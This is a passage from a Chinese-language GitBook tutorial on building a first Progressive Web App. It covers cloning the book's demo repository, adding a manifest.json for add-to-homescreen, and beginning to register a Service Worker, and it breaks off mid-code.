第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >1.6 你的第一个 PWA</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x4F60;&#x7684;&#x7B2C;&#x4E00;&#x4E2A;-pwa\"><b></b>&#x4F60;&#x7684;&#x7B2C;&#x4E00;&#x4E2A; PWA</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x51C6;&#x5907;&#x5DE5;&#x4F5C;\"><b></b>&#x51C6;&#x5907;&#x5DE5;&#x4F5C;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x4E0B;&#x8F7D;&#x4EE3;&#x7801;\"><b></b>&#x4E0B;&#x8F7D;&#x4EE3;&#x7801;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;\"><b></b>&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x79BB;&#x7EBF;&#x53EF;&#x7528;\"><b></b>&#x79BB;&#x7EBF;&#x53EF;&#x7528;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x603B;&#x7ED3;\"><b></b>&#x603B;&#x7ED3;</a></li></ul></ul></div><a href=\"#&#x4F60;&#x7684;&#x7B2C;&#x4E00;&#x4E2A;-pwa\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x4F60;&#x7684;&#x7B2C;&#x4E00;&#x4E2A;-pwa\"><a name=\"&#x4F60;&#x7684;&#x7B2C;&#x4E00;&#x4E2A;-pwa\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4F60;&#x7684;&#x7B2C;&#x4E00;&#x4E2A;-pwa\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4F60;&#x7684;&#x7B2C;&#x4E00;&#x4E2A;-pwa\" class=\"plugin-anchor\" href=\"#&#x4F60;&#x7684;&#x7B2C;&#x4E00;&#x4E2A;-pwa\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4F60;&#x7684;&#x7B2C;&#x4E00;&#x4E2A; PWA</h1>\n<p>&#x672C;&#x4E66;&#x4E2D;&#x5927;&#x90E8;&#x5206;&#x793A;&#x4F8B;&#x5747;&#x57FA;&#x4E8E;&#x4E0B;&#x9762;&#x7684;&#x8FD9;&#x4E2A;&#x6A21;&#x677F;&#x5C55;&#x5F00;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x8DDF;&#x968F;&#x4E66;&#x4E2D;&#x793A;&#x4F8B;&#x9010;&#x6B65;&#x64CD;&#x4F5C;&#xFF0C;&#x52A0;&#x6DF1;&#x7406;&#x89E3;&#x3002;&#x5728;&#x8FD9;&#x4E2A;&#x793A;&#x4F8B;&#x91CC;&#xFF0C;&#x6211;&#x4EEC;&#x4E00;&#x8D77;&#x6765;&#x5B9E;&#x73B0;&#x4E00;&#x4E2A;&#x80FD;&#x6DFB;&#x52A0;&#x5230;&#x684C;&#x9762;&#x5E76;&#x4E14;&#x79BB;&#x7EBF;&#x53EF;&#x7528;&#x7684; PWA&#x3002;</p>\n<h2 id=\"&#x51C6;&#x5907;&#x5DE5;&#x4F5C;\"><a name=\"&#x51C6;&#x5907;&#x5DE5;&#x4F5C;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x51C6;&#x5907;&#x5DE5;&#x4F5C;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x51C6;&#x5907;&#x5DE5;&#x4F5C;\" class=\"plugin-anchor\" href=\"#&#x51C6;&#x5907;&#x5DE5;&#x4F5C;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x51C6;&#x5907;&#x5DE5;&#x4F5C;</h2>\n<p>&#x5728;&#x51C6;&#x5907;&#x7F16;&#x5199;&#x7B2C;&#x4E00;&#x4E2A; PWA &#x524D;&#xFF0C;&#x6709;&#x4E00;&#x4E9B;&#x51C6;&#x5907;&#x5DE5;&#x4F5C;&#x9700;&#x8981;&#x51C6;&#x5907;&#xFF0C;&#x9700;&#x8981;&#x5B89;&#x88C5;&#x4E00;&#x4E9B;&#x5FC5;&#x5907;&#x7684;&#x8F6F;&#x4EF6;&#xFF0C;&#x5982;&#x4E0B;&#xFF1A;</p>\n<ul>\n<li>&#x4E00;&#x53F0;&#x53EF;&#x4EE5;&#x6B63;&#x5E38;&#x8054;&#x7F51;&#x7684;&#x8BA1;&#x7B97;&#x673A;&#x5E76;&#x5DF2;&#x5B89;&#x88C5;&#x8F83;&#x65B0;&#x7248;&#x672C;&#x7684; Node.js&#xFF0C;npm&#xFF0C;Git</li>\n<li>&#x4E00;&#x4E2A;&#x65B9;&#x4FBF;&#x8C03;&#x8BD5;&#x5E76;&#x652F;&#x6301; Service Worker &#x7684;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x63A8;&#x8350;&#x4F7F;&#x7528; Google Chrome</li>\n<li>&#x4E00;&#x90E8;&#x5B89;&#x5353;&#x624B;&#x673A;&#xFF0C;&#x5F00;&#x542F;&#x6DFB;&#x52A0;&#x5230;&#x684C;&#x9762;&#x7684;&#x6743;&#x9650;&#xFF0C;&#x63A8;&#x8350;&#x5B89;&#x88C5;&#x597D; Chrome &#x6D4F;&#x89C8;&#x5668;</li>\n<li>&#x4E00;&#x4E2A;&#x81EA;&#x5DF1;&#x4E60;&#x60EF;&#x7684;&#x6587;&#x672C;&#x7F16;&#x8F91;&#x5668;&#xFF0C;&#x5982; Visual Studio Code, Sublime Text &#x7B49;&#x7B49;</li>\n</ul>\n<h2 id=\"&#x4E0B;&#x8F7D;&#x4EE3;&#x7801;\"><a name=\"&#x4E0B;&#x8F7D;&#x4EE3;&#x7801;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4E0B;&#x8F7D;&#x4EE3;&#x7801;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4E0B;&#x8F7D;&#x4EE3;&#x7801;\" class=\"plugin-anchor\" href=\"#&#x4E0B;&#x8F7D;&#x4EE3;&#x7801;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4E0B;&#x8F7D;&#x4EE3;&#x7801;</h2>\n<p>&#x5728;&#x5B8C;&#x6210;&#x4E0A;&#x9762;&#x7684;&#x51C6;&#x5907;&#x5DE5;&#x4F5C;&#x540E;&#xFF0C;&#x63A5;&#x4E0B;&#x6765;&#x4E0B;&#x8F7D;&#x7B14;&#x8005;&#x51C6;&#x5907;&#x7684;&#x793A;&#x4F8B;&#x4EE3;&#x7801;&#x3002;&#x672C;&#x4E66;&#x7684;&#x793A;&#x4F8B;&#x4EE3;&#x7801;&#x5747;&#x6258;&#x7BA1;&#x5728; GitHub &#x4E0A;&#xFF0C;&#x5730;&#x5740;&#x662F; <a href=\"https://github.com/lavas-project/pwa-book-demo\" target=\"_blank\">https://github.com/lavas-project/pwa-book-demo</a>&#x3002;</p>\n<blockquote>\n<p>&#x672C;&#x4E66;&#x6240;&#x6709;&#x7684; JS &#x4EE3;&#x7801;&#x5747;&#x7B26;&#x5408; <a href=\"https://standardjs.com/\" target=\"_blank\">JavaScript Standard Style</a> &#x89C4;&#x8303;&#x3002;</p>\n</blockquote>\n<p>&#x90A3;&#x4E48;&#x63A5;&#x4E0B;&#x6765;&#x7684;&#x7B2C;&#x4E00;&#x6B65;&#xFF0C;&#x6211;&#x4EEC;&#x5148;&#x4E0B;&#x8F7D;&#x4EE3;&#x7801;&#x5230;&#x672C;&#x5730;&#xFF0C;&#x5728;&#x547D;&#x4EE4;&#x884C;&#x4E2D;&#x8FD0;&#x884C;&#x5982;&#x4E0B;&#x547D;&#x4EE4;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-bash\"><span class=\"token comment\"># &#x4ECE; GitHub &#x4E0B;&#x8F7D;&#x4EE3;&#x7801;&#x5230;&#x672C;&#x5730; pwa-book-demo &#x76EE;&#x5F55;</span>\n$ <span class=\"token function\">git</span> clone https://github.com/lavas-project/pwa-book-demo.git\n\n<span class=\"token comment\"># &#x8FDB;&#x5165;&#x5230; chapter01 &#x76EE;&#x5F55;</span>\n$ <span class=\"token function\">cd</span> chapter01\n\n<span class=\"token comment\"># &#x5B89;&#x88C5; npm &#x4F9D;&#x8D56;</span>\n$ <span class=\"token function\">npm</span> <span class=\"token function\">install</span>\n\n<span class=\"token comment\"># &#x5B89;&#x88C5;&#x6210;&#x529F;&#x540E;&#x542F;&#x52A8; chapter01 &#x793A;&#x4F8B;</span>\n$ <span class=\"token function\">npm</span> run server\n</code></pre>\n<p>&#x5728;&#x770B;&#x5230;&#x547D;&#x4EE4;&#x884C;&#x4E2D;&#x8F93;&#x51FA; <code>Server start on: http://127.0.0.1:8088</code>&#xFF0C;&#x610F;&#x5473;&#x7740;&#x5DF2;&#x7ECF;&#x6210;&#x529F;&#x542F;&#x52A8;&#xFF0C;&#x8FD9;&#x65F6;&#xFF0C;&#x6253;&#x5F00;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x8BBF;&#x95EE; <code>http://127.0.0.1:8088</code> &#x80FD;&#x770B;&#x5230;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x7684;&#x9875;&#x9762;&#x3002;</p>\n<p><img src=\"img/chapter01_demo.png\" width=\"50%\" alt=\"PWA Chapter01 Demo &#x622A;&#x56FE;\" title=\"PWA Chapter01 Demo &#x793A;&#x610F;&#x56FE;\"></p>\n<p>&#x63A5;&#x4E0B;&#x6765;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x6839;&#x636E;&#x4E0B;&#x9762;&#x7684;&#x6B65;&#x9AA4;&#x9010;&#x6B65;&#x5F00;&#x542F; Web App Manifest &#x548C; Service Worker&#xFF0C;&#x5F00;&#x59CB;&#x4F53;&#x9A8C;&#x81EA;&#x5DF1;&#x7684;&#x7B2C;&#x4E00;&#x4E2A; PWA&#x3002;</p>\n<h2 id=\"&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;\"><a name=\"&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;\" class=\"plugin-anchor\" href=\"#&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;</h2>\n<p>&#x6839;&#x636E;&#x524D;&#x9762;&#x7684;&#x7AE0;&#x8282;&#x4ECB;&#x7ECD;&#xFF0C;&#x589E;&#x52A0;&#x7528;&#x6237;&#x9ECF;&#x6027;&#x6700;&#x597D;&#x7684;&#x65B9;&#x5F0F;&#x662F;&#x628A;&#x8FD9;&#x4E2A; PWA &#x653E;&#x5728;&#x7528;&#x6237;&#x7684;&#x4E3B;&#x5C4F;&#x4E0A;&#xFF0C;&#x5B83;&#x80CC;&#x540E;&#x7684;&#x6280;&#x672F;&#x5C31;&#x662F; Web App Manifest&#xFF0C;&#x63A5;&#x4E0B;&#x6765;&#xFF0C;&#x6211;&#x4EEC;&#x5C31;&#x6765;&#x770B;&#x770B;&#x5982;&#x4F55;&#x4F7F;&#x7528;&#x3002;</p>\n<p>&#x7B2C;&#x4E00;&#x6B65;&#xFF0C;&#x7AD9;&#x70B9;&#x9700;&#x8981;&#x65B0;&#x589E;&#x4E00;&#x4E2A;&#x6587;&#x4EF6;&#xFF1A;<code>manifest.json</code>&#xFF0C;&#x8FD9;&#x4E2A;&#x6587;&#x4EF6;&#x4E2D;&#x5305;&#x542B;&#x7AD9;&#x70B9;&#x7684;&#x540D;&#x79F0;&#x3001;&#x56FE;&#x6807;&#x5730;&#x5740;&#x3001;&#x5165;&#x53E3;&#x5730;&#x5740;&#x3001;&#x663E;&#x793A;&#x6A21;&#x5F0F;&#x7B49;&#x4FE1;&#x606F;&#xFF0C;&#x5E76;&#x4E14;&#x901A;&#x8FC7;&#x4E00;&#x4E2A;&#x5730;&#x5740;&#x80FD;&#x591F;&#x8BBF;&#x95EE;&#x5230;&#x8BE5;&#x6587;&#x4EF6;&#xFF0C;&#x5728;&#x6211;&#x4EEC;&#x4E0B;&#x8F7D;&#x4E0B;&#x6765;&#x7684;&#x4EE3;&#x7801;&#x4E2D;&#xFF0C;&#x8FD9;&#x4E2A;&#x6587;&#x4EF6;&#x5728; <code>chapter01/public/</code> &#x76EE;&#x5F55;&#x4E0B;&#xFF0C;&#x542F;&#x52A8;&#x8C03;&#x8BD5;&#x670D;&#x52A1;&#x5668;&#x540E;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; <code>http://127.0.0.1:8088/manifest.json</code> &#x8BBF;&#x95EE;&#x5230;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-json\"><span class=\"token punctuation\">{</span>\n  <span class=\"token property\">&quot;name&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;PWA Chapter01 Demo&quot;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token property\">&quot;short_name&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;Chapter01 Demo&quot;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token property\">&quot;icons&quot;</span><span class=\"token operator\">:</span> <span class=\"token punctuation\">[</span>\n    <span class=\"token punctuation\">{</span>\n      <span class=\"token property\">&quot;src&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;assets/images/icons/icon_144x144.png&quot;</span><span class=\"token punctuation\">,</span>\n      <span class=\"token property\">&quot;sizes&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;144x144&quot;</span><span class=\"token punctuation\">,</span>\n      <span class=\"token property\">&quot;type&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;image/png&quot;</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n    <span class=\"token punctuation\">{</span>\n      <span class=\"token property\">&quot;src&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;assets/images/icons/icon_152x152.png&quot;</span><span class=\"token punctuation\">,</span>\n      <span class=\"token property\">&quot;sizes&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;152x152&quot;</span><span class=\"token punctuation\">,</span>\n      <span class=\"token property\">&quot;type&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;image/png&quot;</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n    <span class=\"token punctuation\">{</span>\n      <span class=\"token property\">&quot;src&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;assets/images/icons/icon_192x192.png&quot;</span><span class=\"token punctuation\">,</span>\n      <span class=\"token property\">&quot;sizes&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;192x192&quot;</span><span class=\"token punctuation\">,</span>\n      <span class=\"token property\">&quot;type&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;image/png&quot;</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n    <span class=\"token punctuation\">{</span>\n      <span class=\"token property\">&quot;src&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;assets/images/icons/icon_512x512.png&quot;</span><span class=\"token punctuation\">,</span>\n      <span class=\"token property\">&quot;sizes&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;256x256&quot;</span><span class=\"token punctuation\">,</span>\n      <span class=\"token property\">&quot;type&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;image/png&quot;</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>\n  <span class=\"token property\">&quot;start_url&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;/index.html&quot;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token property\">&quot;display&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;standalone&quot;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token property\">&quot;background_color&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;#fff&quot;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token property\">&quot;theme_color&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;#1976d2&quot;</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x7B2C;&#x4E8C;&#x6B65;&#xFF0C;&#x5728; HTML &#x9875;&#x9762;&#x4E2D;&#x6DFB;&#x52A0;&#x5BF9; <code>manifest.json</code> &#x6587;&#x4EF6;&#x7684;&#x5F15;&#x7528;&#xFF0C;&#x5728;&#x793A;&#x4F8B;&#x4E2D;&#xFF0C;&#x6253;&#x5F00; <code>chapter01/public/index.html</code> &#x6587;&#x4EF6;&#xFF0C;&#x6DFB;&#x52A0;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x5230; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span></code> &#x4E2D;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token comment\">&lt;!-- chapter01/public/index.html --&gt;</span>\n<span class=\"token comment\">&lt;!-- &#x5BF9; manifest.json &#x7684;&#x5E94;&#x7528; --&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>manifest<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>./manifest.json<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x7B2C;&#x4E09;&#x6B65;&#xFF0C;&#x5728;\b&#x79FB;&#x52A8;&#x7AEF;&#x6D4F;&#x89C8;&#x5668; Chrome &#x4E2D;&#x6253;&#x5F00;&#x542F;&#x52A8;&#x7684;&#x5730;&#x5740;&#xFF0C;&#x5982;&#x679C;&#x5728;&#x540C;&#x4E00;&#x4E2A;&#x5C40;&#x57DF;&#x7F51;&#x5185;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x7535;&#x8111;&#x7684; IP &#x5730;&#x5740;&#x8BBF;&#x95EE;&#xFF0C;\b&#x6BD4;&#x5982;&#x7B14;&#x8005;&#x7684;&#x7535;&#x8111;&#x7684;&#x5C40;&#x57DF;&#x7F51; IP &#x662F; <code>192.168.0.100</code>&#xFF0C;&#x90A3;&#x4E48;&#x5C31;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; <code>http://192.168.0.100:8088/</code> &#x8BBF;&#x95EE;&#x3002;&#x8BBF;&#x95EE;&#x6210;&#x529F;&#x540E;&#xFF0C;&#x70B9;&#x51FB;&#x6DFB;&#x52A0;&#x5230;&#x684C;&#x9762;&#x6309;&#x94AE;&#xFF0C;PWA &#x5C31;&#x4F1A;&#x51FA;&#x73B0;&#x5728;&#x4E3B;&#x5C4F;&#x4E0A;&#xFF0C;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x3002;</p>\n<p><img src=\"img/add_to_homescreen.png\" alt=\"&#x5728; Chrome &#x4E2D;&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;\"></p>\n<p>&#x70B9;&#x51FB; PWA &#x7684;&#x56FE;&#x6807;&#xFF0C;\b&#x4E0D;&#x4EC5;&#x5177;&#x6709;&#x542F;&#x52A8;&#x753B;&#x9762;&#xFF0C;&#x8FD8;&#x5177;&#x6709;&#x5B8C;&#x5168;&#x6C89;&#x6D78;&#x5F0F;&#x7684;&#x4F53;&#x9A8C;&#xFF0C;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x3002;</p>\n<p><img src=\"img/pwa_open.png\" alt=\"PWA Chapter01 Demo &#x7684;&#x6253;&#x5F00;&#x6548;&#x679C;\"></p>\n<p>Web App Manifest &#x7684;&#x5185;&#x5BB9;&#x8FDC;&#x4E0D;&#x6B62;&#x8FD9;&#x4E9B;&#xFF0C;&#x53EF;&#x4EE5;&#x9605;&#x8BFB;&#x672C;&#x4E66;&#x7684;&#x540E;&#x7EED;&#x7AE0;&#x8282;&#xFF0C;&#x4F1A;&#x8BE6;&#x7EC6;&#x4ECB;&#x7ECD;&#x3002;</p>\n<blockquote>\n<p>&#x5982;&#x679C;&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x59CB;&#x7EC8;&#x4E0D;&#x6210;&#x529F;&#xFF0C;&#x53EF;&#x4EE5;&#x9605;&#x8BFB;&#x672C;&#x4E66;&#x7684;&#x7B2C;&#x4E94;&#x7AE0;&#xFF0C;&#x76F8;&#x4FE1;&#x4F1A;&#x89E3;&#x51B3;&#x60A8;&#x7684;&#x95EE;&#x9898;&#x3002;</p>\n</blockquote>\n<h2 id=\"&#x79BB;&#x7EBF;&#x53EF;&#x7528;\"><a name=\"&#x79BB;&#x7EBF;&#x53EF;&#x7528;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x79BB;&#x7EBF;&#x53EF;&#x7528;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x79BB;&#x7EBF;&#x53EF;&#x7528;\" class=\"plugin-anchor\" href=\"#&#x79BB;&#x7EBF;&#x53EF;&#x7528;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x79BB;&#x7EBF;&#x53EF;&#x7528;</h2>\n<p>&#x79BB;&#x7EBF;&#x53EF;&#x7528;&#x4F9D;&#x8D56;&#x4E8E; Service Worker &#x7684;&#x5E94;&#x7528;&#xFF0C;&#x63A5;&#x4E0B;&#x6765;&#x6765;&#x770B;&#x770B;&#x5728;&#x793A;&#x4F8B;&#x4EE3;&#x7801;&#x4E2D;&#x5982;&#x4F55;&#x542F;&#x7528; Service Worker&#x3002;</p>\n<p>&#x7B2C;&#x4E00;&#x6B65;&#xFF0C;&#x60A8;&#x9700;&#x8981;&#x4E00;&#x4E2A; Service Worker &#x6587;&#x4EF6;&#xFF0C;&#x5728;&#x793A;&#x4F8B;&#x4E2D;&#xFF0C;&#x53EF;&#x4EE5;&#x67E5;&#x770B; <code>chapter01/public/sw.js</code> &#x6587;&#x4EF6;&#xFF0C;&#x5E76;&#x4E14;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; <code>http://127.0.0.1:8088/sw.js</code> &#x8BBF;&#x95EE;&#x5230;&#x8BE5;&#x6587;&#x4EF6;&#xFF0C;sw.js &#x6587;&#x4EF6;&#x5177;&#x4F53;&#x7684;&#x5185;&#x5BB9;&#x4F1A;&#x5728;&#x540E;&#x7EED;&#x7AE0;&#x8282;&#x9010;&#x6B65;&#x8BB2;&#x89E3;&#x3002;</p>\n<p>&#x7B2C;&#x4E8C;&#x6B65;&#xFF0C;&#x5728; HTML &#x9875;&#x9762;&#x4E2D;&#x6CE8;&#x518C; Service Worker&#x3002;&#x6253;&#x5F00; <code>chapter01/public/index.html</code> &#x6587;&#x4EF6;&#xFF0C;&#x627E;&#x5230;&#x4E0B;&#x9762;&#x7684;&#x4EE3;&#x7801;&#xFF0C;&#x5E76;&#x5C06;&#x6CE8;&#x91CA;&#x6253;&#x5F00;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token comment\">&lt;!-- service worker --&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n  // &#x5224;&#x65AD;&#x6D4F;&#x89C8;&#x5668;&#x662F;&#x5426;&#x652F;&#x6301; Service Worker\n  if (&apos;serviceWorker&apos; in navigator) {\n    // &#x5728; load &#x4E8B;&#x4EF6;&#x89E6;&#x53D1;&#x540E;&#x6CE8;&#x518C; Service Worker&#xFF0C;&#x786E;&#x4FDD; Service Worker 